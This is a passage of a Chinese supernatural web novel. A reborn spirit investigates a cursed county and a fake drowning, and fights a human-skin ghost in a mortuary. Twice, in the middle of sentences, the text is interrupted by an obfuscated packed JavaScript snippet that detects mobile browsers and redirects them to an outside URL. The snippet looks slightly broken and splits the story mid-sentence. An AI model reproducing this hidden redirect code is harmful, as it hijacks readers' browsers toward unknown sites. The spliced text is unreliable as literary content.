这话还真是应了那句“伤害性不大,侮辱性极强”,沈自清的视线从那串相思豆上移开,淡淡落到伙计身上,明明什么都没说,却平白看得人不自在,他挠挠脑袋,跟着从梯子上下来的伙计,头也不回走掉了。 沈自清仰头,视线再次放到那串红得格外诡异的相思豆上,也没看清她做了什么,只见下一秒,一颗相思豆就出现在指腹间,轻轻一碾,放到鼻尖一闻。 “朱砂?” 她眼睫微扬。 10. 金童玉女3 准确说,是被高浓度朱砂水泡过的相思豆。 这就很有意思了。 自古以来朱砂价格就居高不下,镇妖司成立后天师道士也成了可以行走于明面的正当职业,作为捉鬼驱邪的朱砂价格更是跟着水涨船高,如今别说普通人家,即使是三年不开张开张吃三年的天师也不敢一次性买太多。 天师尚如此,更何况家境并不富裕的普通人? 可青莲县,每家每户都有这个玩意儿。 沈自清倚在门框上,眉眼微微耸拉,看着没什么精神的样子。也的确没什么精神,冒然重生到别人的身体里,灵魂和躯体融合的并不顺利,短时间内还多次使用灵力,没二度回归地府想必是老天眷顾。 她盯了会儿指尖,上面薄薄的铺着层暗红色的碎屑粉末,是刚刚碾碎相思豆时剩下的。 露种的妹妹、官府带头组织的阴婚,诡异的朱砂相思豆......一桩桩一件件简直就是明晃晃在告诉众人,这青莲镇有猫腻,还是个大猫腻。 如果换成以前,她一定会插手。 但从前是从前,现在是现在。 身为一名作古多年的“孤魂野鬼”,还是别太难为她了。 沈自清面无表情地抖掉指腹上的碎末,转身回了客栈。 * 月上枝头,露种还没回来。 虽说青莲镇这地界疑点重重,但只要露种随身带着那张符,沈自清就不会担心。 符纸其实只是最普通的用于收纳的“藏符”,不普通的是里面收纳的东西 ——妖物化形时三道天劫的其中一道。 虽只有三成,不保准一定能将他们劈的神魂俱散,但将他们的真身从第三重境劈出来,还是绰绰有余的。 但凡长了眼睛,都不会主动去攻击携带天雷的人。 “咚咚咚。” 房门被敲响,客栈的窗纸不薄,只能勾勒出一个模糊的轮廓。 沈自清道:“谁?” 门外的人回话了,听声音是白日里的那位店小二,他微微弓着背,语气和平日里的不太一样,“客官,掌柜的让我通知您一声,最近青莲县不太平,晚间睡觉的时候一定要把门窗锁好,无论是谁叫您,都不能开门也不能回答。” 说到这,他短促地笑了声,“掌柜的还说,最近店里熬了些安神的花蜜,若是实在睡不着,可以放一些冲泡在水里混着喝下,保管能一觉睡到天亮。不知客官需不需要呢?” 不知何时,他的手已然放到了门框上,只待允许,便会直接推门而入。 “不用了。” 他的动作一顿,缓缓弯腰,道:“好的客官。” 屋内,听到脚步声逐渐远去,沈自清终于将那个视线再次移回窗外,准确的说,是坐在客栈屋檐下的那对卖烤胡饼的老小。 老人看上去已然六七十岁,本应是个颐养天年的年纪,但此时却穿着身被洗到发白、边缘已经被磨得起了毛边的旧衣。头发花白,皮肤黝黑,脸颊瘦的凹陷,但却不显苦色,相反,是个极为正直的面相。 与他落魄的打扮不同,坐在他腿上鼓腮吹着风车的女娃娃却被养的很好。 两颊圆润,皮肤白皙,梳着两角辫,发梢系着两条有些发旧的红色发带,身上穿着同色系的袄子,不是很新,但边边角角也被打理的干净整洁。 不知是察觉到有人在看他们,还是独属于小孩子的伸头探脑,小脑瓜抬头一望,一双水灵灵的大眼睛映入了沈自清的眼中。 女娃娃眨巴了下眼睛,“......大姐姐?” 老人闻言也跟着抬头。 一时间,六目相对。 还是老人率先反应过来,有些浑浊的眼珠微微弯起,像是看自家娃娃般的神情吆喝道。 “女娃娃,吃饼子不吃啊?” 他补充道:“一文钱一个撒,很便宜的。” * 怪不得卖这么便宜。 一张饼里起码加了七成的麦麸,磨得还不精细,每咽一口都跟吞钝刀子似的。 许是沈自清的表情着实谈不上满意,对自家饼子里有什么玄机了解一清二楚的老头摸了摸鼻子,思来想去还是给人舀了碗凉水,“娃娃,喝口水咽咽,一会儿就好了。” 他打着哈哈坐在一旁,手掌无意识地互相揉搓,老树皮的脸上写满了不好意思。 到最后,沈自清还没什么,他倒是先不好意思起来。 “对不住啊女娃娃,这事儿俺也是第一次做,家里实在是揭不开锅,老婆子还得了咳疾,郎中说光是喝药就得有一两银子,实在是对不住。”他不安地搓着掌心:“这馍馍不要钱,就当老头子请你吃的,成不?” 沈自清咽下最后一口饼子,她其实对吃食没多挑剔,但手里这饼实在干硬,每咽一口都得就着一大口凉水,否则那饼直接噎在半路,不上不下难受的很。 对老头的提议她没说同意还是不同意,反而问起了另一个话题:“你妻子病重,全家只剩下你一个人带着这小娃娃?她父母呢?” 据她所知,这十六年里虽偶有叛乱,但基本都局限在小范围,大型战役几乎没有,朝廷征兵也比以往宽松,对只有一根独苗的家庭,往往会宽宥一些。 这饼子虽有麦麸,但敢拿出来卖,就代表家里肯定还留着够吃的粮食,搞不好家里也有几分薄田。祖孙俩虽然穿的落魄,但精气神不仅不低迷,反而正常的过分。 怎么看,都不至于沦落到这份田地。 “......”老人摸着女娃娃的头顶,仰头望着天,像是在回忆着什么,良久,才缓缓道:“我年轻时是做布料生意的,三十岁才有了第一个孩子,他的经商天赋比我还高,年纪轻轻就把生意做到了河西,是当时远近闻名的布料商人。” “后来一次意外,遇到山匪,没了。” 他敛着眉,声音异常平静,像是在说别人的故事. “孩儿他娘收到消息的时候,肚子已经八个月大了,当时就不行了,搁里面喊了一天一夜,也跟着没了。娃娃刚出生没两个月,黄河发了大水,大半个青州都被淹了,庄子里的东西都被卷走,什么都没了。” 沈自清沉默地听着。 原来不是不苦不麻木,是已经没有余力去痛苦了。 “......不知不觉竟也说了这么多。”浊黄色的眼珠转向旁边一直沉默的沈自清,老人话锋忽的一转:“你是从外面来的吧?青莲县有规矩,亥时以后不得出门,我要回去了,你也快些回去吧。” 亥时以后不得出门? 沈自清想起店小二说的话,也是入夜后不得出门。 两个截然不同的人说了同样的话,是规则还是限制?是对活人还是死人? 还不等她想出个名堂,垂在身侧的手碗就被一只温热的手抓住,抬头,撞进一双弯弯地月牙眼。 “爷爷。” 想法被猝不及防打断,沈自清抬头,刚还蹲在一边自娱自乐的小孩儿蹦蹦跳跳地跑过来,摇着老人的衣袖,指着不远处玩在一起的小孩。 圆溜溜的眼睛里全是渴求:“爷爷,我想和他们一起玩。” 老人摸了摸她的头:“去吧,早点回来。” 小孩欢呼一声:“爷爷最好了!” 狠狠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17591618|205490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在他脸上亲了一口,转头又对着沈自清露出一个甜甜的笑容,才迈着小短腿跑了过去,也不知道交流了些什么,没一会几个人就围成一圈坐下,只留下来一个人拿着个手绢,站着在大家后面跑。 小孩们一边拍着手,一边唱着歌谣。 “流水涓涓芹努芽,知鸟双飞客还家。荒村无人作寒食,殡宫空对唐梨花——” 沈自清微眯了下眼。 她学问不算多高,当年还在师门的时候除了术法功夫这些,其余有关学问的课业她都是垫底,即使后来入朝为官也达不到学富五车,往高了说也只能勉强够上一句够用。 即便如此,她还是能听出来这是一首冥诗。 她状若不知,对着老人问道:“这唱的是什么歌啊?” 老人正要收拾东西,听闻呵呵一笑:“我也不知道,听说是学堂里的老先生教的,被学堂里的学生唱成了歌谣,久而久之小孩子们就都会了。” 教书的先生正经东西不教,教了首冥诗? 直觉告诉她这跟整个青莲县的秘密有关,虽然好奇,但沈自清只是点了点头,表示自己知道了,甚至还装模作样地品鉴了下。 没一会儿老人就收拾好了东西,将麻绳套在自己肩膀上,对着还在疯玩的喃喃喊完又对着沈自清说道:“囡囡走了!姑娘你也早些回去吧。” 想了想,他还是补充了一句。 “记住,今晚只当自己是瞎子聋子,安心睡个好觉就是。” 说完也不管她到底听没听进去,拉着车走了,车上的娃娃对着沈自清摆手:“大姐姐再见!” 沈自清:“再见。” 或许真的承蒙吉言,又或许是舟车劳顿,总而言之,沈自清回到客栈后,几乎是头一沾枕头就睡着了,一夜无梦。 第二天是被一道刺耳的尖叫声吵醒的。 下一秒,客栈上下所有的门被齐齐推开,一张张睡眼惺忪的脸从里面探出来,五官发型性别这些虽略有不同,但脸上的怒火却实打实的一致。 有脾气火爆的当即朝下面砸去一只鞋,骂道:“大清早的还让不让人睡觉了!” 来人一个灵活转身躲开了扑面而来的臭鞋,仰头看着二楼围了整整一圈的脑袋,努力平息气息,好一会才憋出一句完整的话。 “河......河里有尸......尸体!!!” 吵闹的大堂瞬间安静下来,众人你看看我我看看你,最后还是一位上了年纪的夫人皱眉打破僵局。 “把话说清楚,什么尸体?谁家的人?怎么发现的?你可认识?” 妇人这么问倒也不是没有原因,青莲县是个说大不大说小不小的地方,虽不至于抬头不见低头见,但作为一个很多店铺背后都是同一家商号的地界,再大又能多大?况且这里数得上名字的私塾有且只有一座,还是一位致仕还乡的老官员办出来的,里面读书的学生实在是很难做到完全不认识。 说出这个名字大家可能会不认识,但询问认识的人,一层层问下去,没几圈就会问到认识的人。 年轻伙计被炮语连珠的问题轰得大脑迟钝,晕晕乎乎把自己知道的都说出来了。 “听他们说,好像是做纸扎人那个冯老头的女儿。” 同样被吵醒、打着哈切出来看热闹反而撑着脑袋迷迷糊糊的沈自清猛地睁眼,哪还有刚刚的半分惺忪,只剩一片冰冷的肃杀。 要是没记错,露种曾经提过一嘴自己的父亲原先是做纸扎生意的,卖身契上写的名字的姓氏也姓冯。 “露种......” 她喃喃道。 千万不要是你啊 11. 金童玉女4 沈自清顺着人群赶到的时候,衙门外已经为了慢慢一圈的人,一个个抻着脑袋看热闹,更有甚者把孩子架在自己脖子上让其看得更清楚。 “这是谁家的孩子啊?” “没看着老冯头在那一把鼻涕一把泪的,摆明了就是他家的啊。” 有人不屑道:“这时候倒知道哭了,早干嘛去了?我听我在赌坊工作的伙计说,他欠了整整上百贯,追债的人直接堵到了家门口,要不是人姑娘宁死不从,怕是直接被抓去花楼抵债了。” “哎呦,那要这么看这姑娘没了也是享福了。” “要不说什么呢,今天是姑娘没了,搞不好明天还是后天就是他自个儿没了。他现在哪是哭女儿?明明是苦自己!” “太造孽了。” ...... 众人的讨论声似乎被那几个衙役牢牢堵在外面,衙门内,头发花白的县令端坐高堂,一双眼睛微微阖着,眼底坠着两颗沉甸甸的眼袋。 与其说是父母官,倒不如说是挂在墙上的神仙。 堂下除了两侧的衙役,只有一个中年仵作,以及一具被他挡在身后,只露出一截泡的肿胀发白的手臂,上面带着一只款式老旧的银镯子。 沈自清一眼就认出来这是两人离京那天从当铺里赎回来的那只镯子。 这事儿说来也巧,露种当年是和母亲一块被卖的,分别前母亲将一直藏起来的一对银镯子拿了出来,一只戴在自己手上,一只戴在露种手上,只求今生今世还能有再见一面的缘分。 露种一直将他保护的很好,直到裴年母亲死后,两个小孩别说吃饱穿暖,能活下去都是奢望,这只镯子就是那个时候被典当出去的,甚至为了能多当些钱,定的是死当。 本以为再也不会见到,没成想去拿裴年母亲遗物的时候意外在旁边的当铺见到了它,这才又回到了露种手里。 是她亲手戴上去的。 可是这怎么可能? 符纸犹在,雷劫勿触,独独只有露种死了? 沈自清想笑,嘴角却僵硬的要死,连怒极反笑都做不出来。整张脸上到眉毛下到嘴唇全都阴沉沉的,瞳孔愈发漆黑,偶有光线映入也像是投进深不见底的沉潭,反不出一丝一毫的光亮。 没什么温度的视线一一扫过门内众人,最终定格在跪在尸体旁,众人口中泪流不止,但从她到就没流过几滴眼泪的中年男人身上。 冯生,露种名义上的父亲。 与卖妻卖女的行为不同,冯生的面相极为面善,任谁看了都是一副老实巴交的中年模样,更遑论如今他呆呆地跪坐在尸体旁边,眼底青黑,看起来倒是一副哀莫大于心死的样子。 就在此时仵作也正好验完尸身,重新盖好白布,起身对着堂上的县令道:“死者腹部肿胀,指甲口鼻皆伴有泥沙,身上没有捆绑痕迹,应是投河身亡。” “儿啊!”冯生顿时老泪纵横,几乎是爬到尸体旁边,嗓音悲怆,泣不成声:“是为父的错,都是为父的错!你要杀就来杀为父好了,何苦要为难你自己啊!你才十六岁啊!!!” 众人心里也都不是滋味,如果说刚开始是来看热闹的,但当真看到的时候,心里再多的牢骚也全都咽了回去,毕竟谁家没个孩子?若今日站在上面的是自己,恐怕早已哭晕过去。 就连见惯分离的老仵作心里也不无动容,长叹着别过脸去。 除了沈自清。 此时此刻她倒真映了自己口中那句“孤魂野鬼”,游离在所有人外,冷眼旁观着这一切。 母女俩被亲生父亲卖掉时没想着寻死,被困死在南院吃了上顿没下顿时没想着寻死,却在脱了奴籍、彻底自由的时候寻死? 这不合理。 况且...... 沈自清想起昨日里那个和露种长得一模一样的“青青”,都说死者为大,跟何况两人是一母同胞的双生姐妹,姐姐死了,妹妹为什么会不来? 秉持着这个想法,当晚她就摸进了暂存尸体的义庄。 按理说认完尸体后都是被抬回自己家停灵的,有钱的打个棺材做个灵堂,没钱的也能买个草席卷完后一头扔进乱葬岗。 也不知道是那副白发人送黑发人的场面影响到了县令,还是怕前脚女儿没了后脚爹也跟着去了的人间惨剧,总而言之,他大度地决定将尸体暂时停在义庄,三天后出殡。 义庄的位置很是偏僻,建的时候所有人默认离活人生活的地方越远越好,精心选择下,选择建在乱葬岗边上。 浓郁夜色下,在这个月色都不怜爱的地界,除了那两只随风摇晃的惨白灯笼外,只有细细密密的绿色鬼火飘荡在黑暗中。 几处孤坟,一座宅子。 这就是义庄。 “嘎吱——” 颤颤巍巍的木门被人从外面推开,发出一声悠长的嘶鸣声,像是骨头被嚼碎后发出的绝唱,在黑暗里格外渗人。 如果说外面是还能依稀见到些轮廓的黑,那门里面就是彻底的伸手不见五指,空气中还混杂着发酵后的腐臭味,好似置身在恶鬼的肚子里。 沈自清顺手摘下左手边的灯笼,提在身前走了进去。 在她身后,木门缓缓关上,发出一声悠长的吱呀声。 义庄里面不算很大,大概只有十几个棺材,被人为分成左右两排,收尾对其横着摆放,只在中间留下一条两人宽的窄道。 沈自清脚步一顿,停在离她最近的棺材旁边,将手里的灯笼往下放,只见原本应该四脚着地的支脚架此刻正踩在四个金色的铜碗里,里面盛满了清水。 不仅是这一个棺材,从这个角度看,目之所及的所有棺材的支脚架,都踩着四个铜碗。 青莲县的风水还构不成不能接触地气,相反,尸体接触到地气入土的时候还会更加顺利。 至于这种用清水可开地气的手段,只有一个作用。 ——防止尸变。 想到这儿,沈自清眼眸微眯,快步走向尾端那个刚刷好红漆,前面还摆着几桌肉饭的棺材旁,顾不上棺材盖上还没干透的红漆,单手抓住盖子边缘用力一拉。 刺啦一声,厚重的棺材板猛地向后划开一半。 一具已经被泡到面目全非的女尸,赫然出现在眼前。 白日离得远还不觉得,现在离得近才发现这具尸体泡的极为厉害,整张皮都胀大了一圈,下面不想是骨头,倒像是一层流动的水。 不像是只泡了一个晚上。 沈自清举起灯笼悬在尸体的头顶,细弱的烛光映在肿胀发白的皮肤上,像是一团团皱吧的鱼皮,一寸寸往下照,越往下表情也越奇怪,最终停在微微鼓起的肚子上。 她盯了两秒,抬手按了下去。 不是水。 是一种轻飘飘的东西。 无需思索,灵力运转,指尖为刃,竟活生生剖开了肚皮! 早已失去弹性的皮肤此刻争先恐后倒向两侧,前面带后面,眨眼的功夫腹部露出一个大洞,看清里面构造的沈自清一整个怒极反笑。 腹腔里不是五脏六腑,也不是水。 是满满一肚子的稻草! 她又在身体其他部位按了按,无一例外,入手全都是如肚皮一半轻飘飘的触感。 这具身体,除了这层皮以外,全部都是稻草。 沈自清提着灯笼的手缓缓松开。 如果换做从前多半是被人戏耍后的愤怒,但如今,只剩下些庆幸。露种是个好孩子,她不应该草率地死在这里,死在这么一个可笑的投河自尽上。 这口气还没松开,灯笼里的烛火忽地一跳,啪嗒一声,灭了。 四周重新陷入一片黑暗,鼻尖的腐臭味忽地重了一些,下一秒,一阵敲击声从身旁的棺木中响起。 “咚、咚、咚、咚。” 非常有规律的敲击,像是有人在敲门,但这里没有门,只有一个又一个棺材。 “咚、咚、咚、咚咚咚咚咚咚咚咚——” 桥棺材的声音愈发急促连贯,下一瞬,义庄内所有棺材发出了同一道声音。黑暗中,沈自清那张面无表情的脸忽地一笑,一手提灯,一手掏出来那只随身携带的玉笛。 一道道细密如同发丝的莹白色丝线从笛孔中钻出,以她为中心,一缕缕朝着周围生长,蔓延。 忽然,身后伸出一只手攥住了她的手腕。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17591619|205490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈自清低头,那只手骨瘦如柴,指甲青黑,顺着青白的手腕往上看,是露种。 准确说,是和露种长着同一张脸的人皮。 肿胀发白的脸蛋好似在一瞬间恢复了大半,五官完整,那双原本应该黑白分明的眼睛此刻却只余一片漆黑,正直勾勾地盯着沈自清,见她看过来,嘴角忽地咧开,几乎要咧到后脑勺。 “嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻——” 不止它的笑声,许多道笑声混杂在一块,一股脑钻进这个在场唯一一个活人的耳朵里。 “啪——” 笑声戛然而止。 人皮鬼捂着自己被扇飞的脸,瞪圆了眼睛。 沈自清收回笛子:“好吵。” “啊啊啊啊啊啊啊啊啊啊啊啊——” 冲天的鬼气从七窍里涌出,与之带来的是一层层从皮肤最深处长出来的黑色符文,有生命般疯狂向上攀爬,几乎是眨眼的功夫,就已经爬满了整张脸,只留下一双空洞洞的眼睛死死盯着沈自清。 肚子里的稻草已然消失不见,取而代之是与活人别无二致的五脏六腑,胸膛的那颗心脏甚至还在扑通扑通地跳动。 与此同时,所有棺材都被里面的东西齐刷刷推开,一具具尸体从里面跪坐起来,有男有女,有老有少,或完整或腐烂,统一地垂着脑袋碰碰砸着棺材。 磕头。 疯狂的磕头。 “咚咚咚咚咚咚咚——” “......这到底是什么邪门歪道?”沈自清疑惑,沈自清不解,沈自清觉得自己只是死了十六年,外面已经发展成这样了吗? 不等她想清楚,那只人皮鬼已然从棺材里直直站起来,居高临下地盯着她,“天师?” “......”沈自清诚实摇头:“暂时不算。” 这话倒也没说错。 裴年就是个普通到不能再普通的凡人,跟天师又有什么关系呢?至于她自己?她现在不就是裴年吗? 人皮鬼道:“不管你是不是,多管闲事的人,只有死路一条。” 沈自清仰起头,明明是仰视但丝毫没有低人一等的感觉,反而让纸皮鬼感到一种该死的高高在上:“想杀我?那也要看你有没有这个能耐。” 迎接这句话的,是恶鬼的俯冲。 恶鬼飞扑过来的速度极快,但沈自清的速度更快,将手里的灯笼一抛,脚尖一点,身体轻巧的在空中转了一圈,灵活闪躲开恶鬼那只不知何时伸出来的爪子。 在对方不可置信的眼神里,笛子重重点在她的眉心。 “吾含天地气,咒毒杀鬼方,咒鬼鬼自杀。” “灭。” “不、不啊啊啊啊啊啊啊啊啊——” 凄厉绝望的鬼啸从喉咙深处溢出,还没落地,就和主人一起烟消云散了,只留下一张空荡荡的人皮掉在棺材里。 人皮鬼死亡的刹那,所有磕头的尸体全部被按下暂停键,像一团团烂泥一样又滑回了棺材里,棺盖自动滑上,一切陷入寂静。 沈自清扬手,稳稳接住灯笼。 好消息,死的不是露种。 坏消息,还是不知道露种去哪了。 更坏的消息,青莲县是个大麻烦,露种多半卷进去了。 沈自清心累地叹了口气。 重生以后的日子,她叹气的次数与日俱增。 就在这时,门外忽然传出一阵响动。 “泪汪汪,娶新娘,七月半,哭断肠,人皮嫁衣身上穿,生个娃娃死爹娘......” 不知从哪冒出来的喜乐声,明明是敲锣打鼓的喜奏,唢呐却吹得呜呜咽咽,像是送葬时候吹得曲子,诡异地很。 忽然,声音停在了门口。 门被敲响了。 尖尖细细的声音从外面冒出来,“纸皮婆,新娘子送到了,这次你可只许吃一根,上次你吃的太多主家都不高兴了。” ? 沈自清缓缓转头。 她的灵视已经开启了,所以可以清晰看到外面冲天的鬼气。 以及,一只紧紧趴在门外,正拼命往里瞧的 ——纸人。